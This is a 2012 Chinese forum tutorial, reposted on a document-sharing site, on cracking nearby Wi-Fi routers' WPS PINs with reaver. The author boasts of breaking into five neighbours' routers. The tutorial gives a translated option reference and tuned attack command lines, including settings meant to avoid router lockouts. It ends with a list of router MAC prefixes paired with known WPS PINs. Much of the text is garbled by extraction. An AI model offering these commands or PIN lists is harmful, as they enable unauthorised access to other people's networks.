打气筒教程1.docx
《打气筒教程1.docx》由会员分享,可在线阅读,更多相关《打气筒教程1.docx(13页珍藏版)》请在冰豆网上搜索。
![打气筒教程1.docx](https://file1.bdocx.com/fileroot1/2023-2/5/2bdd9d52-6a20-4688-b619-0ce7544cd58b/2bdd9d52-6a20-4688-b619-0ce7544cd58b1.gif)
打气筒教程1
新手一只,苦力学习3天目前战绩颇丰。
共破解5个;额、几乎全部周边的路由器。
来这边教教新入门的群众
2012-3-713:
03上传
下载附件(24.46KB)
2012-3-713:
03上传
下载附件(37.57KB)
2012-3-713:
03上传
下载附件(40.49KB)
2012-3-713:
03上传
下载附件(36.46KB)
2012-3-713:
03上传
下载附件(51.43KB)
2012-3-713:
04上传
下载附件(47.1KB)
2012-3-713:
04上传
下载附件(64.74KB)
2012-3-713:
10上传
下载附件(75.26KB)
教程就到这里了,下面说说知道前4位PIN码和知道8位PIN码的用法。
2012-3-713:
10上传
下载附件(61.92KB)
2012-3-713:
10上传
下载附件(77.49KB)
下面是出现动态密码的图
2012-3-713:
25上传
下载附件(301.27KB)
2012-3-713:
10上传
下载附件(53.9KB)
2012-3-713:
10上传
下载附件(70.76KB)
后面的是测试图。
打气筒参数详解
RequiredArguments:
-i,--interface= Nameofthemonitor-modeinterfacetouse
网卡的监视接口,通常是mon0
-b,--bssid= BSSIDofthetargetAP
AP的MAC地址
OptionalArguments:
-m,--mac= MACofthehostsystem
指定本机MAC地址,在AP有MAC过滤的时候需要使用
-e,--essid= ESSIDofthetargetAP
路由器的ESSID,一般不用指定
-c,--channel=Setthe802.11channelfortheinterface(implies-f)
信号的频道,如果不指定会自动扫描
-o,--out-file= Sendoutputtoalogfile[stdout]
标准输出到文件
-s,--session= Restoreaprevioussessionfile
恢复进程文件
-C,--exec= Executethesuppliedcommanduponsuccessfulpinrecovery
pin成功后执行命令
-D,--daemonize Daemonizereaver
设置reaver成Daemon
-a,--auto AutodetectthebestadvancedoptionsforthetargetAP
对目标AP自动检测高级参数
-f,--fixed Disablechannelhopping
禁止频道跳转
-5,--5ghz Use5GHz802.11channels
使用5G频道
-v,--verbose Displaynon-criticalwarnings(-vvformore)
显示不重要警告信息-vv可以显示更多
-q,--quiet Onlydisplaycriticalmessages
只显示关键信息
-h,--help Showhelp
显示帮助
AdvancedOptions:
-p,--pin= Usethespecified4or8digitWPSpin
直接读取psk(本人测试未成功,建议用网卡自带软件获取)
-d,--delay= Setthedelaybetweenpinattempts[1]
pin间延时,默认1秒,推荐设0
-l,--lock-delay= SetthetimetowaitiftheAPlocksWPSpinattempts[60]
AP锁定WPS后等待时间
-g,--max-attempts= Quitafternumpinattempts
最大pin次数
-x,--fail-wait= Setthetimetosleepafter10unexpectedfailures[0]
10次意外失败后等待时间,默认0秒
-r,--recurring-delay= Sleepforysecondseveryxpinattempts
每x次pin后等待y秒
-t,--timeout= Setthereceivetimeoutperiod[5]
收包超时,默认5秒
-T,--m57-timeout= SettheM5/M7timeoutperiod[0.20]
M5/M7超时,默认0.2秒
-A,--no-associate DonotassociatewiththeAP(associationmustbedonebyanotherapplication)
不连入AP(连入过程必须有其他程序完成)
-N,--no-nacks DonotsendNACKmessageswhenoutoforderpacketsarereceived
不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-S,--dh-small UsesmallDHkeystoimprovecrackspeed
使用小DH关键值提高速度(推荐使用)
-L,--ignore-locks IgnorelockedstatereportedbythetargetAP
忽略目标AP报告的锁定状态
-E,--eap-terminate TerminateeachWPSsessionwithanEAPFAILpacket
每当收到EAP失败包就终止WPS进程
-n,--nack TargetAPalwayssendsaNACK[Auto]
对目标AP总是发送NACK,默认自动
-w,--win7 MimicaWindows7registrar[False]
模拟win7注册,默认关闭
------个人心得---------------------------------------------------------
对一个ap刚开始pin的时候打开-vv参数,如果顺利,就中断,然后改成-v继续pin,反正进度是可以保存的
reaver-imon0-bxx:
xx:
xx:
xx:
xx:
xx-d0-vv-a-S
如果一直pin不动,尝试加-N参数
reaver-imon0-bxx:
xx:
xx:
xx:
xx:
xx-d0-vv-a-S-
参数的意思
-a自动检测目标AP最佳配置
-v 显示信息
-S,-n 把S改n可能会慢一点点但可以有效防止漏码
-x20 当出现10次pin尝试都无法收到数据包 休息20秒
-r100:
10 每PIN100次 休息10秒
-I300 有的路由会有PIN保护 PIN错多少次 起码300秒后才允许你继续PIN
如果遇到那些容易PIN死的路由,建议大家把-S改成-n,后面可以加上-t10-d2
-t10 发送nack 的收包超时 如果t后不加数字 就是收包超时5秒
-d2 每PIN 后等待2秒后继续PIN下一个
漏码!
去-S加-n参数,你会有惊喜……
pin时最好把-S换成-n,mercury路由器加-d9-t9否则会pin死,
mercury路由器加-d9-t9否则会pin死 怎么加啊朋友
不会pin死 你点reaver以后 弹出一个框 什么-a-v-S你把-S换成-n 后面不变加-d9-t9
xiaopanFTP
2012-3-713:
11上传
下载附件(65.62KB)
不会的加我QQ491905953注明:
你是干嘛的。
。
。
。
交流技术。
。
本人技术鸟一只。
。
不是js
2012-3-713:
11上传
下载附件(23.06KB)
38:
83:
45:
B2(0573
38:
83:
45:
613415
38:
83:
45:
5c:
2d:
e484441959
38:
83:
45:
BE:
04:
4C75948139
38:
83:
45:
6d6692
38:
83:
459548
38:
83:
45:
65:
74:
da80266419
38:
83:
45:
A83803
38:
83:
45:
4663304374
38:
83:
45:
7221633485
38:
83:
45:
3D(0798
38:
83:
45:
4E66294283
38:
83:
45:
4A2112
38:
83:
45:
872890
38:
83:
45:
951228
40:
16:
9f:
E5(00721790
40:
16:
9F:
4D39374295
40:
16:
9F:
6C69465901
40:
16:
9F:
2A08007131
40:
16:
9f:
458781.994
40:
16:
9F:
A22218
40:
16:
9f:
212802
40:
16:
9f:
295695
40:
16:
9f:
713353
40:
16:
9F:
E21706
40:
16:
9F*9834
40:
16:
9F:
F81331
40:
16:
9F:
66*9338
40:
16:
9f:
5C2752
40:
16:
9f-D44730
40:
16:
9f:
E48219
40:
16:
9F:
B9:
CF:
4A47344389
40:
16:
9F:
77**08431004
40:
16:
9F:
F8*13314989
40:
16:
9F:
4D*39374295
c8:
3A:
35:
13:
E01036
c8:
3a:
35:
353496
C8:
3A:
35:
5F62324724
c8:
3a:
35:
393492
C8:
3A:
35:
085420964
C8:
3A:
35:
212179
c8:
3A:
35:
474664
5C:
63:
BF:
3F(0197
5c:
63:
bf:
563721
5c:
63:
bf:
c91078
5c:
63:
bf:
ee(0342
5c:
63:
bf:
e4:
a2:
c83434
5c:
63:
bf:
61:
77:
3a88028194
5c:
63:
bf*0283
5c:
63:
bf:
5a5525
5C:
63:
BF:
9610018514
5C:
63:
BF:
5320678050
5c:
63:
bf:
ab4620
5c:
63:
bf:
a4(0123
5c:
63:
bf:
411011
F4:
EC:
38:
0D是8363
F4:
EC:
38:
45是9086
F4:
EC:
38:
30:
7332
F4:
EC:
38:
3B:
0339
F4:
EC:
38:
4B:
1877
F4:
EC:
38:
4E:
5808
F4:
EC:
38:
65:
8746
F4:
EC:
38:
6C:
4264
C8:
3A:
35:
14:
7A:
7013420642
tenda路由器:
11n的
MAC:
C83A35472BB0 46642400
TPLINK840N
MAC:
5C-63-BF-41-B6-E4
PIN:
10118580